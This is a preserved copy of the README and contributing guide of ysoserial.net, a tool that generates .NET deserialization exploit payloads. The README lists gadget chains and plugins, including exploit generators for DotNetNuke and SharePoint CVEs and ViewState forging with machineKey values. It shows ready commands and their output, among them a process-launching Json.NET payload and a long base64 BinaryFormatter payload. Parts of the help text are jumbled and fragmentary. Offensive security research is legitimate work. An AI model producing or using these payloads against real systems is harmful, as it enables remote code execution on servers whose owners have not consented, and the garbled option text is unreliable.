

YSoSerial.Net

YSoSerial.Net - pwntester, GitHub.

- Published: date not stated
- Original: <https://github.com/pwntester/ysoserial.net>
- Preserved from: <https://github.com/pwntester/ysoserial.net> (preserved-copy) on 2026-08-04
- Repository commit: 4d6a465b11b4f11b98560f5fbab96a08a251fa0a
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Content

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- Repository: <https://github.com/pwntester/ysoserial.net>
- Commit: 4d6a465b11b4f11b98560f5fbab96a08a251fa0a
- Documents preserved: 3

CONTRIBUTING.md

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Contributing

- Fork it
- Create your feature branch (`git checkout -b my-new-feature`)
- Commit your changes (`git commit -am 'Add some feature'`)
- Push to the branch (`git push origin my-new-feature`)
- Create new Pull Request

LICENSE.txt

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README.md

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A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

Description

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by [Chris Frohoff's ysoserial project](#)

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

This software is a personal project and not related with any companies, including Project owner and contributors employers.

Installation

In order to obtain the latest version, it is recommended to download it from [the Actions page](#).

You can install the previous releases of YSoSerial.NET from [the releases page](#)

Build from source:

```
Set-ExecutionPolicy Bypass -Scope Process -Force;  
[System.Net.ServicePointManager]::SecurityProtocol =  
[System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object  
System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
```

```
choco install visualstudio2022community --yes  
choco install visualstudio2022-workload-nativedesktop --yes  
choco install msbuild.communitytasks --yes  
choco install nuget.commandline --yes  
choco install git --yes
```

```
git clone https://github.com/pwntester/ysoserial.net  
cd ysoserial.net  
nuget restore ysoserial.sln  
msbuild ysoserial.sln -p:Configuration=Release
```

```
.\ysoserial\bin\Release\ysoserial.exe -h
```

Usage

```
$ ./ysoserial.exe --fullhelp
```

ysoserial.net generates deserialization payloads **for** a variety of .NET formatters.

== GADGETS ==

(*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections **for** ActivitySurrogateSelector, command is ignored]

Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Not bridge but derived

Extra options:

--**var**, --variant=VALUE Choices: 1 -> **use**

TypeConfuseDelegateGenerator

[**default**], 2 -> **use**

TextFormattingRunPropertiesMarshal

(*) ActivitySurrogateSelector [**This** gadget ignores the command parameter and executes the constructor of ExploitClass **class**]

Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter

Labels: Not bridge or derived

Extra options:

--**var**, --variant=VALUE Payload variant number where applicable.

Choices: 1 (**default**), 2

(shorter but may not

work between versions)

(*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. **This** gadget interprets the command parameter as path to the .cs file that should be compiled as exploit **class**. **Use** a semicolon to separate the file **from** any additional required assemblies, e.g., '-c **ExploitClass.cs;System.Windows.Forms.dll**']

Formatters: BinaryFormatter (2), LosFormatter, SoapFormatter

Labels: Not bridge or derived

Extra options:

--**var**, --variant=VALUE Payload variant number where applicable.

Choices: 1 (**default**), 2

(shorter but may not

work between versions)

(*) AxHostState

Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: BinaryFormatter

(*) BaseActivationFactory [Gadget **for** .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)]

Formatters: Json.NET

Labels: Not bridge or derived, .NET 5/6/7, Requires WPF enabled or PresentationFramework.dll

(*) ClaimsIdentity

Formatters: BinaryFormatter, LosFormatter, SoapFormatter

Labels: Bridge and derived, OnDeserialized

Supported formatter **for** the bridge: BinaryFormatter

(*) ClaimsPrincipal

Formatters: BinaryFormatter, LosFormatter, SoapFormatter

Labels: Bridge and derived, OnDeserialized,

SecondOrderDeserialization

Supported formatter **for** the bridge: BinaryFormatter

(*) DataSet

Formatters: BinaryFormatter, LosFormatter, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: BinaryFormatter

(*) DataSetOldBehaviour [**This** gadget targets an old behavior of DataSet which uses XML format]

Formatters: BinaryFormatter, LosFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: LosFormatter

Extra options:

--spoofedAssembly=VALUE

use in the
generated serialized object
(example: 'mscorlib')

(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. **This** gadget interprets the command parameter as path to the .cs file that should be compiled as exploit **class**. **Use** a semicolon to separate the file **from** any additional required assemblies, e.g., '-c ExploitClass.cs;System.Windows.Forms.dll']

Formatters: BinaryFormatter, LosFormatter

Labels: Bridge and derived

Extra options:

--spoofedAssembly=VALUE

use in the
generated serialized object

(example: 'mscorlib')

(*) DataSetTypeSpoof [A more advanced type spoofing that can **use** any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]

Formatters: BinaryFormatter, LosFormatter, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: BinaryFormatter

(*) GenericPrincipal

Formatters: BinaryFormatter, LosFormatter

Labels: Bridge and derived, OnDeserialized,

SecondOrderDeserialization

Supported formatter **for** the bridge: BinaryFormatter

Extra options:

--**var**, --variant=VALUE Payload variant number where applicable.

Choices: **1** (uses serialized

ClaimsIdentities), **2**

(uses serialized Claims)

(*) GetterCompilerResults [Remote DLL loading gadget **for** .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading **for** .NET Framework **if** System.CodeDom is available. DLL path delivered with -c argument]

Formatters: Json.NET

Labels: Chain of arbitrary getter call and not derived

gadget, Remote DLL loading **for** .NET 5/6/7 with WPF Enabled, Local DLL loading **for** .NET Framework **if** System.CodeDom is available

Extra options:

--**var**, --variant=VALUE Variant number. Variant defines a different

getter-call gadget. Choices:

1 (default) - PropertyGrid

getter-call gadget,

2 - ComboBox getter-call

gadget (may load DLL

twice)

3 - ListBox getter-call

gadget

4 - CheckedListBox getter-

call gadget

(*) GetterSecurityException

Formatters: Json.NET

Labels: Chain of arbitrary getter call and derived gadget

Extra options:

--**var**, --variant=VALUE Variant number. Variant

defines a different

getter-call gadget. Choices:

1 (**default**) - PropertyGrid

getter-call gadget,

2 - ComboBox getter-call

gadget (may execute

code twice)

3 - ListBox getter-call

gadget

4 - CheckedListBox getter-

call gadget

(*) GetterSettingsPropertyValue

Formatters: Json.NET, MessagePackTypeless, MessagePackTypelessLz4,

Xaml

Labels: Chain of arbitrary getter call and derived gadget

Extra options:

--**var**, --variant=VALUE Variant number. Variant

defines a different

getter-call gadget. Choices:

1 (**default**) - PropertyGrid

getter-call gadget,

2 - ComboBox getter-call

gadget (may execute

code twice)

3 - ListBox getter-call

gadget

4 - CheckedListBox getter-

call gadget

(*) ObjectDataProvider

Formatters:DataContractSerializer (2), FastJson, FsPickler, JavaScriptSerializer, Json.NET, MessagePackTypeless, MessagePackTypelessLz4, SharpSerializerBinary, SharpSerializerXml, Xaml (4), XmlSerializer (2), YamlDotNet < 5.0.0

Labels: Not bridge or derived

Extra options:

--var, --variant=VALUE Payload variant number where applicable.

Choices: 1, 2, 3, ... based

on formatter.

--xamlurl=VALUE

payload when

This is to create a very short

target XAML URL e.g.

affected box can read the

file path on a shared

"http://b8.ee/x" (can be a

drive or the local system).

This is used by the

3rd XAML payload which is a

ResourceDictionary

with the Source parameter.

Command parameter

will be ignored. The shorter

the better!

(*) ObjRef

Formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter

Labels: Not bridge or derived

(*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]

Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Not bridge but derived

(*) ResourceSet

Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer

Labels: It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)

Extra options:

--ig, --internalgadget=VALUE

The numerical internal gadget choice to use:

1=TypeConfuseDelegate,

2=TextFormattingRunProperties (default: 1

[TypeConfuseDelegate])

(*) RolePrincipal

Formatters: BinaryFormatter, DataContractSerializer, Json.NET,
LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: BinaryFormatter

(*) SessionSecurityToken

Formatters: BinaryFormatter, DataContractSerializer, Json.NET,
LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: BinaryFormatter

(*) SessionViewStateHistoryItem

Formatters: BinaryFormatter, DataContractSerializer, Json.NET,
LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Bridge and derived

Supported formatter **for** the bridge: LosFormatter

(*) TextFormattingRunProperties [**This** normally generates the shortest payload]

Formatters: BinaryFormatter, DataContractSerializer, Json.NET,
LosFormatter, NetDataContractSerializer, SoapFormatter

Labels: Not bridge but derived

Extra options:

--xamlurl=VALUE

payload when

target XAML URL e.g.

file path on a shared

This is used by the

ObjectDataProvider which is

the Source parameter.

ignored. The shorter

the

payload.

This is to create a very short

affected box can read the

"http://b8.ee/x" (can be a

drive or the local system).

3rd XAML payload of

a ResourceDictionary with

Command parameter will be

the better!

To include a root element with

DataContractSerializer

```

(*) ToolboxItemContainer
    Formatters: BinaryFormatter, LosFormatter, SoapFormatter
    Labels: Bridge and derived
    Supported formatter for the bridge: BinaryFormatter

(*) TypeConfuseDelegate
    Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
    Labels: Not bridge or derived

(*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with
Mono]
    Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer
    Labels: Not bridge or derived

(*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace
(not default GAC)]
    Formatters: BinaryFormatter (3), DataContractSerializer (2), Json.NET
(2), LosFormatter (3), NetDataContractSerializer (3), SoapFormatter (2)
    Labels: Bridge and derived, Not in GAC
    Supported formatter for the bridge: BinaryFormatter
    Extra options:
        --var, --variant=VALUE Payload variant number where
applicable.
Choices: 1, 2, or 3 based on
formatter.

(*) WindowsIdentity
    Formatters: BinaryFormatter, DataContractSerializer, Json.NET,
LosFormatter, NetDataContractSerializer, SoapFormatter
    Labels: Bridge and derived
    Supported formatter for the bridge: BinaryFormatter

(*) WindowsPrincipal
    Formatters: BinaryFormatter, DataContractJsonSerializer,
DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter
    Labels: Bridge and derived

(*) XamlAssemblyLoadFromFile [Loads assembly using XAML. This gadget interprets
the command parameter as path to the .cs file that should be compiled as exploit class.
Use a semicolon to separate the file from any additional required assemblies, e.g., '-c
ExploitClass.cs;System.Windows.Forms.dll']
    Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer,
SoapFormatter
    Labels: Not bridge but derived
    Extra options:
        --var, --variant=VALUE Choices: 1 -> use

TypeConfuseDelegateGenerator
[default], 2 -> use

```

TextFormattingRunPropertiesMarshal

(*) XamlImageInfo [Gadget leads to XAML deserialization. Variant 1 (GAC) reads XAML **from** file (local path or UNC path can be given). Variant 2 (non-GAC) delivers XAML directly, but requires Microsoft.Web.Deployment.dll]

Formatters: Json.NET

Labels: Not bridge but derived, Variant 1 in GAC, Variant 2 not in GAC

Extra options:

--**var**, --variant=VALUE Variant number. Variant defines a different

Stream delivery **class**.

Choices:

1 (**default** and GAC) -

LazyFileStream **for** Stream

delivery, file path has to

be provided **for** -c

argument (UNC or local)

2 (non-GAC, requires

Microsoft.Web.Deploymen-

t.dll) -

ReadOnlyStreamFromStrings **for** Stream

delivery, command to execute

can be provided **for**

-c argument

== PLUGINS ==

(*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)

Options:

-c, --command=VALUE

the command to be executed.

-u, --url=VALUE

the url passed to Activator.GetObject.

-s

if TCPChannel security should be

enabled.

(*) Altserialization (Generates payload **for** HttpStaticObjectsCollection or SessionStateItemCollection)

Options:

-M, --mode=VALUE

the payload mode:

HttpStaticObjectsCollection or

SessionStateItemCollection. **Default:**

HttpStaticObjectsCollection

-o, --output=VALUE the output format (raw|base64).

-c, --command=VALUE the command to be executed

-t, --test whether to run payload locally. **Default:**

false

--minify Whether to minify the payloads where

applicable

(experimental). **Default: false**

--ust, --usesimpletype **This** is to remove additional info only

when

minifying and

FormatterAssemblyStyle=Simple.

Default: true

(*) ApplicationTrust (Generates XML payload **for** the ApplicationTrust **class**)

Options:

-c, --command=VALUE the command to be executed

-t, --test whether to run payload locally. **Default:**

false

--minify Whether to minify the payloads where

applicable

(experimental). **Default: false**

--ust, --usesimpletype **This** is to remove additional info only

when

minifying and

FormatterAssemblyStyle=Simple.

Default: true

(*) Clipboard (Generates payload **for** DataObject and copies it into the clipboard - ready to be pasted in affected apps)

Options:

-F, --format=VALUE the object format: Csv,

DeviceIndependentBitmap,

DataInterchangeFormat, PenData,

RiffAudio,

WindowsForms10PersistentObject,

System.**String**,

SymbolicLink, TaggedImageFileFormat,

WaveAudio.

Default:

WindowsForms10PersistentObject (the

only one that works in Feb 2020 as a

result of

an incomplete silent patch - will not

be useful

	-c, --command=VALUE	the command to be executed
	-t, --test	whether to run payload locally. Default:
false		
	--minify	Whether to minify the payloads where
applicable		(experimental). Default: false
	--ust, --usesimpletype	This is to remove additional info only
when		minifying and
FormatterAssemblyStyle=Simple.		Default: true

(*) DotNetNuke (Generates payload **for** DotNetNuke CVE-2017-9822)

Options:

	-m, --mode=VALUE	the payload mode: read_file, write_file, run_command.
run_command mode.	-c, --command=VALUE	the command to be executed in
write_file	-u, --url=VALUE	the url to fetch the file from in
		mode.
	-f, --file=VALUE	the file to read in read_file mode or
the file		to write to in write_file_mode.
	--minify	Whether to minify the payloads where
applicable		(experimental). Default: false

(*) GetterCallGadgets (Implements arbitrary getter call gadgets **for** .NET Framework and .NET 5/6/7 with WPF enabled, run with -l **for** more help)

Options:

	-l	prints list of implemented gadgets
	-i, --inner=VALUE	file containing inner-gadget
	-g, --gadget=VALUE	gadget to use
gadgets)	-m, --member=VALUE	getter to call (required for some
	-t	test gadget (execute)
	--minify	minify gadget

(*) MachineKeySessionSecurityTokenHandler (Generates XML payload **for** the MachineKeySessionSecurityTokenHandler **class**)

Options:

`-c, --command=VALUE` the command to be executed e.g. `"cmd /c calc"`
`-t, --test` In **this** scenario, the test mode should not be applied, as the sink point relies on the web environment. **Default: false**
`--minify` Whether to minify the payloads where applicable (experimental). **Default: false**
`--ust, --usesimpletype` **This** is to remove additional info only when minifying and `FormatterAssemblyStyle=Simple`. **Default: true**
`--vk, --validationkey=VALUE` Enter the validationKey **from** the web.config
`--ek, --decryptionkey=VALUE` Enter the decryptionKey **from** the web.config
`--va, --validationalg=VALUE` Enter the validation **from** the web.config. **Default: HMACSHA1**. e.g:
HMACSHA1/HMACSHA256/HMACSHA384/HMACSHA512
`--da, --decryptionalg=VALUE` Enter the decryption **from** the web.config. **Default: AES**. e.g: AES/DES/3DES

(*) NetNonRceGadgets (Implements Non-RCE gadgets **for** .NET Framework)

Options:

`-l` prints list of implemented gadgets
`-i, --input=VALUE` input to the gadget
`-g, --gadget=VALUE` gadget to **use**
`-f, --formatter=VALUE` Formatter to **use**
`-t` test gadget (execute after generation)
`--minify` minify gadget

(*) Resx (Generates RESX and .RESOURCES files)

Options:

`-M, --mode=VALUE` the payload mode: indirect_resx_file,

2020-0932

SoapFormatter.

BinaryFormatter

provided

a file for

BinaryFormatter and

CompiledDotResources to

payload-

false

applicable

when

FormatterAssemblyStyle=Simple.

CompiledDotResources (useful for CVE-

for example), BinaryFormatter,

the command to be executed in

and CompiledDotResources. If this is

for SoapFormatter, it will be used as

ActivitySurrogateSelectorFromFile

The gadget chain used for

CompiledDotResources (default:

TextFormattingRunProperties).

UNC file path location: this is used in
indirect_resx_file mode.

--of, --outputfile=VALUE

a file path location for

store the .resources file (default:

d.resources)

-t, --test

Whether to run payload locally. Default:

--minify

Whether to minify the payloads where

(experimental). Default: false

--ust, --usesimpletype This is to remove additional info only

minifying and

Default: true

(*) SessionSecurityTokenHandler (Generates XML payload for the
SessionSecurityTokenHandler class)

Options:

-c, --command=VALUE

the command to be executed e.g. "cmd /c

calc"

-t, --test

whether to run payload locally. Default:

false

--minify

Whether to minify the payloads where

(experimental). Default: false

--ust, --usesimpletype **This** is to remove additional info only

when

minifying and

FormatterAssemblyStyle=Simple.

Default: true

(*) SharePoint (Generates payloads **for** the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)

Options:

--cve=VALUE the CVE reference: CVE-2020-1147 (result

is safe **for** a POST request), CVE-2019-0604,

CVE-2018-8421

--useurl to **use** the XAML url rather than **using**

the direct command in CVE-2019-0604 and CVE-2018-8421

-g, --gadget=VALUE a gadget chain that supports

LosFormatter **for** CVE-2020-1147. **Default:**

TypeConfuseDelegate

-c, --command=VALUE the command to be executed e.g. "cmd /c

calc" or

the XAML url e.g. "http://b8.ee/x" to

make the payload shorter with the '--useurl'

argument

(*) ThirdPartyGadgets (Implements gadgets **for** 3rd Party Libraries)

Options:

-l prints list of implemented gadgets

-i, --input=VALUE input to the gadget

-g, --gadget=VALUE gadget to **use**

-f, --formatter=VALUE formatter to **use**

-r removes version and pubkeytoken **from**

types, it

may be useful when we **do** not know the

version of

targeted library or require a short

payload

-t test gadget (execute after generation)

--minify minify gadget

(*) TransactionManagerReenlist (Generates payload **for** the

TransactionManager.Reenlist method)

Options:

-c, --command=VALUE

the command to be executed

-t, --test

whether to run payload locally. **Default:**

false

--minify

Whether to minify the payloads where

applicable

(experimental). **Default: false**

--ust, --usesimpletype **This** is to remove additional info only

when

minifying and

FormatterAssemblyStyle=Simple.

Default: true

(*) ViewState (Generates a ViewState **using** known MachineKey parameters)

Options:

--examples

Show a few examples. Other parameters

will be

ignored.

--dryrun

Create a valid ViewState without **using**

an

exploit payload. The gadget and

command

parameters will be ignored.

-g, --gadget=VALUE

A gadget chain that supports

LosFormatter.

Default: ActivitySurrogateSelector.

-c, --command=VALUE

The command suitable **for** the used gadget

(will

be ignored **for**

ActivitySurrogateSelector).

--rawcmd

Command will be executed as is without

``cmd /c ``

being appended (anything after the

first space

is an argument).

-s, --stdin

The command to be executed will be read

from

standard input.

--usp, --unsignedpayload=VALUE

The unsigned LosFormatter payload

(base64

encoded). The gadget and command

parameters will

contains a

useful

'legacy' will

be ignored.

/app/folder1/pag-

and

.NET 4.0

bypass

sometimes

DES, 3DE-

machineKey in

SHA1,

MD5, 3DES,

be ignored.

--isfileusp Indicates that the unsigned payload

file name (e.g., payload.txt).

--vsg, --generator=VALUE The __VIEWSTATEGENERATOR value in HEX,

for .NET <= 4.0. When not empty,

be used and 'path' and 'apppath' will

--path=VALUE The target web page. Example:

e.aspx.

--pathisclass Indicates that the path is a class name

should not be modified.

--apppath=VALUE The application path. Needed to simulate

TemplateSourceDirectory.

--islegacy Use the legacy algorithm suitable for

and below.

--isencrypted Use when the legacy algorithm is used to

WAFs.

--vsuk, --viewstateuserkey=VALUE

Sets the ViewStateUserKey parameter,

used as the anti-CSRF token.

--da, --decryptionalg=VALUE

The encryption algorithm can be set to

S, or AES. **Default:** AES.

--dk, --decryptionkey=VALUE

The decryptionKey attribute from

the web.config file.

--va, --validationalg=VALUE

The validation algorithm can be set to

HMACSHA256, HMACSHA384, HMACSHA512,

or AES. **Default:** HMACSHA256.

--vk, --validationkey=VALUE

machineKey in the validationKey attribute **from** the web.config file.

--showraw Stop URL-encoding the result. **Default: false.**

--minify Minify the payloads where applicable (experimental). **Default: false.**

--ust, --usesimpletype Remove additional info only when minifying and **FormatterAssemblyStyle=Simple.**

Default: true.

--isdebug Show useful debugging messages.

Note: Machine authentication code (MAC) key modifier is not being used **for** LosFormatter in ysoserial.net. Therefore, LosFormatter (base64 encoded) can be used to create ObjectStateFormatter payloads.

Usage: ysoserial.exe [options]

Options:

-p, --plugin=VALUE	The plugin to be used.
-o, --output=VALUE	The output format (raw base64 raw- urlencode base64-urlencode hex).
-g, --gadget=VALUE	The gadget chain.
-f, --formatter=VALUE	The formatter.
-c, --command=VALUE	The command to be executed.
--rawcmd	Command will be executed as is without <code>`cmd /c `</code> being appended (anything after first space is an argument).
-s, --stdin	The command to be executed will be read from standard input.
--bgc, --bridgedgadgetchains=VALUE	Chain of bridged gadgets separated by comma (,). Each gadget will be used to complete the next bridge gadget. The last one will be used in the requested gadget. This will be ignored when using the searchformatter argument.
-t, --test	Whether to run payload locally. Default: false
--outputpath=VALUE	The output file path. It will be ignored if empty.
--minify	Whether to minify the payloads where applicable. Default: false
--ust, --usesimpletype	This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple

```

        (always `true` with `--minify` for binary
        formatters). Default: true

--raf, --runallformatters
        Whether to run all the gadgets with the provided
        formatter (ignores gadget name, output format,
        and the test flag arguments). This will search
        in formatters and also show the displayed
        payload length. Default: false

--sf, --searchformatter=VALUE
        Search in all formatters to show relevant
        gadgets and their formatters (other parameters
        will be ignored).

--debugmode
        Enable debugging to show exception errors and
        output length

-h, --help
        Shows this message and exit.

--fullhelp
        Shows this message + extra options for gadgets
        and plugins and exit.

--credit
        Shows the credit/history of gadgets and plugins
        (other parameters will be ignored).

--runmytest
        Runs that Start method of TestingArenaHome -
        useful for testing and debugging.

```

Note: When specifying complex commands, it can be tedious to escape some special character (;, |, &, ..). Use stdin option (-s) to read the command from stdin:

```
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
```

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use `-p <plugin name>` followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
```

For more help on plugin options use `-h` along with `-p <plugin name>`. Eg:

```
$ ./ysoserial.exe -h -p DotNetNuke
```

ysoserial.net generates deserialization payloads **for** a variety of .NET formatters.

Plugin:

DotNetNuke (Generates payload **for** DotNetNuke CVE-2017-9822)

Options:

-m, --mode=VALUE	the payload mode: read_file, write_file, run_command.
-c, --command=VALUE	the command to be executed in run_command mode.
-u, --url=VALUE	the url to fetch the file from in write_file mode.
-f, --file=VALUE	the file to read in read_file mode or the file to write to in write_file_mode.
--minify	Whether to minify the payloads where applicable (experimental). Default: false
--ust, --usesimpletype	This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple. Default: true

Examples

Generate a calc.exe payload for Json.Net using *ObjectDataProvider* gadget.

```
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{
  '$type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
  'MethodName': 'Start',
  'MethodParameters': {
    '$type': 'System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
    '$values': ['cmd', '/ccalc']
  },
  'ObjectInstance': { '$type': 'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089' }
}
```

Generate a calc.exe payload for BinaryFormatter using *PSObject* gadget.

```
$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```

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